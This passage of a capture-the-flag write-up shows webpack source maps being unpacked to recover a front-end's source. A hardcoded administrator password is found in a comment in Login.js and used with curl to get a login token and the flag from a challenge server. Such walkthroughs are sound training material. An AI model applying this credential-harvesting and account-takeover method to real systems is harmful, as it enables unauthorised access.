Writing index.js...
Writing browser.js...
Writing checkPropTypes.js...
Writing factoryWithTypeCheckers.js...
Writing index.js...
Writing ReactPropTypesSecret.js...
Writing has.js...
Writing decode.js...
Writing encode.js...
Writing index.js...
Writing index.js...
Writing formatWebpackMessages.js...
Writing launchEditorEndpoint.js...
Writing index.js...
Writing index.js...
Writing webpackHotDevClient.js...
Writing react-dom.development.js...
Writing index.js...
Writing index.js...
Writing react-is.development.js...
Writing index.js...
Writing BrowserRouter.js...
Writing HashRouter.js...
Writing Link.js...
Writing MemoryRouter.js...
Writing NavLink.js...
Writing Prompt.js...
Writing Redirect.js...
Writing Route.js...
Writing Router.js...
Writing StaticRouter.js...
Writing Switch.js...
Writing generatePath.js...
Writing index.js...
Writing matchPath.js...
Writing withRouter.js...
Writing MemoryRouter.js...
Writing Prompt.js...
Writing Redirect.js...
Writing Route.js...
Writing Router.js...
Writing StaticRouter.js...
Writing Switch.js...
Writing generatePath.js...
Writing matchPath.js...
Writing withRouter.js...
Writing react.development.js...
Writing index.js...
Writing index.js...
Writing resolve-pathname.js...
Writing scheduler-tracing.development.js...
Writing scheduler.development.js...
Writing index.js...
Writing tracing.js...
Writing entry.js...
Writing close.js...
Writing emitter.js...
Writing event.js...
Writing eventtarget.js...
Writing trans-message.js...
Writing facade.js...
Writing iframe-bootstrap.js...
Writing info-ajax.js...
Writing info-iframe-receiver.js...
Writing info-iframe.js...
Writing info-receiver.js...
Writing location.js...
Writing main.js...
Writing shims.js...
Writing transport-list.js...
Writing abstract-xhr.js...
Writing eventsource.js...
Writing websocket.js...
Writing eventsource.js...
Writing htmlfile.js...
Writing iframe.js...
Writing jsonp-polling.js...
Writing ajax-based.js...
Writing buffered-sender.js...
Writing iframe-wrap.js...
Writing polling.js...
Writing sender-receiver.js...
Writing eventsource.js...
Writing htmlfile.js...
Writing jsonp.js...
Writing xhr.js...
Writing jsonp.js...
Writing xdr.js...
Writing xhr-cors.js...
Writing xhr-fake.js...
Writing xhr-local.js...
Writing websocket.js...
Writing xdr-polling.js...
Writing xdr-streaming.js...
Writing xhr-polling.js...
Writing xhr-streaming.js...
Writing browser-crypto.js...
Writing browser.js...
Writing escape.js...
Writing event.js...
Writing iframe.js...
Writing log.js...
Writing object.js...
Writing random.js...
Writing transport.js...
Writing url.js...
Writing version.js...
Writing browser.js...
Writing common.js...
Writing addStyles.js...
Writing urls.js...
Writing browser.js...
Writing tiny-invariant.esm.js...
Writing tiny-warning.esm.js...
Writing index.js...
Writing url.js...
Writing util.js...
Writing value-equal.js...
Writing warning.js...
Writing amd-options.js...
Writing global.js...
Writing module.js...
Writing index.css...
Writing App.js...
Writing AuthStore.js...
Writing CreateAccount.js...
Writing Home.js...
Writing Login.js...
Writing UserService.js...
Writing index.css02e3...
Writing index.js...
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap]
└─$
Afterwards I looked through the file directory
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap]
└─$ cd output/
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output]
└─$ ls
app src
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output]
└─$ cd src/
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/src]
└─$ ls
index.css02e3
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/src]
└─$ cd ../app/
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app]
└─$ ls
front-end
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app]
└─$ cd front-end/
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end]
└─$ ls
node_modules src webpack
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end]
└─$ cd src/
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$ ls
App.js CreateAccount.js Login.js index.css
AuthStore.js Home.js UserService.js index.js
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$
After that I read some files, most notably are the ones regarding the Login System.
- The Login.js has a comment
{/\* UnCr@ck@b|3-P@$$W()rd \*/}
- Since they ask for you to login to the administrator account, you can guess that the username is administrator
- The 2nd file, UserService.js, shows that there are 3 endpoints
- 1 to register user
- /users/login POST to get login token
- /users/me to get the name?
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$ cat Login.js
import React, {Component} from 'react';
import AuthStore from "./AuthStore";
import UserService from "./UserService";
class Login extends Component {
constructor(props) {
super(props);
this.state = {
username: '',
password: '',
loading: false,
errorMessage: undefined
};
}
handleLoginResponse = (response) => {
if (response.data && response.data.token) {
AuthStore.saveToken(response.data.token);
this.props.history.push("/")
} else {
this.setState({loading: false, errorMessage: 'Error logging in. Try again later.'});
}
};
handleLoginError = (err) => {
if (err.response && err.response.status === 400)
this.setState({loading: false, errorMessage: err.response.data.message});
else
this.setState({loading: false, errorMessage: 'Error logging in. Try again later.'});
};
login = (event) => {
event.preventDefault();
this.setState({loading: true});
UserService.login(this.state.username,
this.state.password,
this.handleLoginResponse,
this.handleLoginError);
};
handleChange = (event) => {
this.setState({
[event.target.id]: event.target.value
});
};
render() {
const loadingDiv = this.state.loading &&
<div className="d-flex align-items-center justify-content-center overlay">
<div className="spinner-border text-primary" role="status"/>
</div>;
const errorMessageDiv = this.state.errorMessage &&
<div className="text-danger mb-2">{this.state.errorMessage}</div>;
return (
<div className="d-flex flex-column h-100 align-items-center justify-content-center">
{loadingDiv}
<form className="flex-column w-25">
<h1 className="h3 mb-3 font-weight-normal">Login</h1>
{errorMessageDiv}
<input autoComplete="off" type="username" id="username" className="form-control mb-3"
placeholder="Username" value={this.state.username} onChange={this.handleChange}/>
<input type="password" id="password" className="form-control mb-3" placeholder="Password"
value={this.state.password} onChange={this.handleChange}/>{/* UnCr@ck@b|3-P@$$W()rd */}
<button className="btn btn-lg btn-primary btn-block" type="submit" onClick={this.login}>
Submit
</button>
</form>
</div>
);
}
}
export default Login;
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$ cat UserService.js
import axios from 'axios'
class UserService {
static login(username, password, successCallback, errorCallback) {
axios.post('/users/login', {
username: username,
password: password
}).then(successCallback).catch(errorCallback);
}
static createAccount(username, password, successCallback, errorCallback) {
axios.post('/users', {
username: username,
password: password
}).then(successCallback).catch(errorCallback);
}
static loadCurrentUser(successCallback, errorCallback) {
axios.get('/users/me').then(successCallback).catch(errorCallback);
}
}
export default UserService;
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$
This file, AuthStore.js, Shows that you have to put the token in the Authorization header of the request to the backend server to work
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$ cat AuthStore.js
import axios from "axios/index";
class AuthStore {
static TOKEN_NAME = 'token';
static isLoggedIn() {
return localStorage.getItem(this.TOKEN_NAME) !== null;
}
static saveToken(token) {
localStorage.setItem(this.TOKEN_NAME, token);
axios.defaults.headers.common['Authorization'] = `Bearer ${token}`;
}
static removeToken() {
localStorage.removeItem(this.TOKEN_NAME);
}
static getToken() {
return localStorage.getItem(this.TOKEN_NAME)
}
}
export default AuthStore;
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$
I tried logging in with administrator:UnCr@ck@b|3-P@$$W()rd
, which worked. However, the homepage looked empty
I tried accessing the endpoints manually with curl, by logging in, and accessing /user/me
, and discovered the flag
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$ curl -H 'Content-Type: application/json' http://54.254.185.105:5959/users/login -d '{ "username":"administrator", "password":"UnCr@ck@b|3-P@$$W()rd"}'
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJhZG1pbmlzdHJhdG9yIiwiaWF0IjoxNjU1OTUwNTI0LCJleHAiOjE2NTY1NTUzMjR9.kq6yuPlogXOAc87H5xJyX4te8DfNsco1WTcKZOiv2vw"}
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$ curl -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJhZG1pbmlzdHJhdG9yIiwiaWF0IjoxNjU1OTUwNTI0LCJleHAiOjE2NTY1NTUzMjR9.kq6yuPlogXOAc87H5xJyX4te8DfNsco1WTcKZOiv2vw' http://54.254.185.105:5959/users/me
{"flag":"CDDC22{50urc3_m4p_15_h1dd3n_g3m}"}
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$
CDDC22{50urc3\_m4p\_15\_h1dd3n\_g3m}